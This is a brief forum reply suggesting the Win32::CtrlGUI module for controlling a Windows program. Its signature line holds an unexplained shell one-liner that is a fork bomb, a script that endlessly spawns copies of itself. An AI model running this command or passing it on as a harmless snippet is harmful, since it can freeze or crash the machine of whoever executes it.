in reply to Controlling a program in Windows

Have you looked at Win32::CtrlGUI?

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;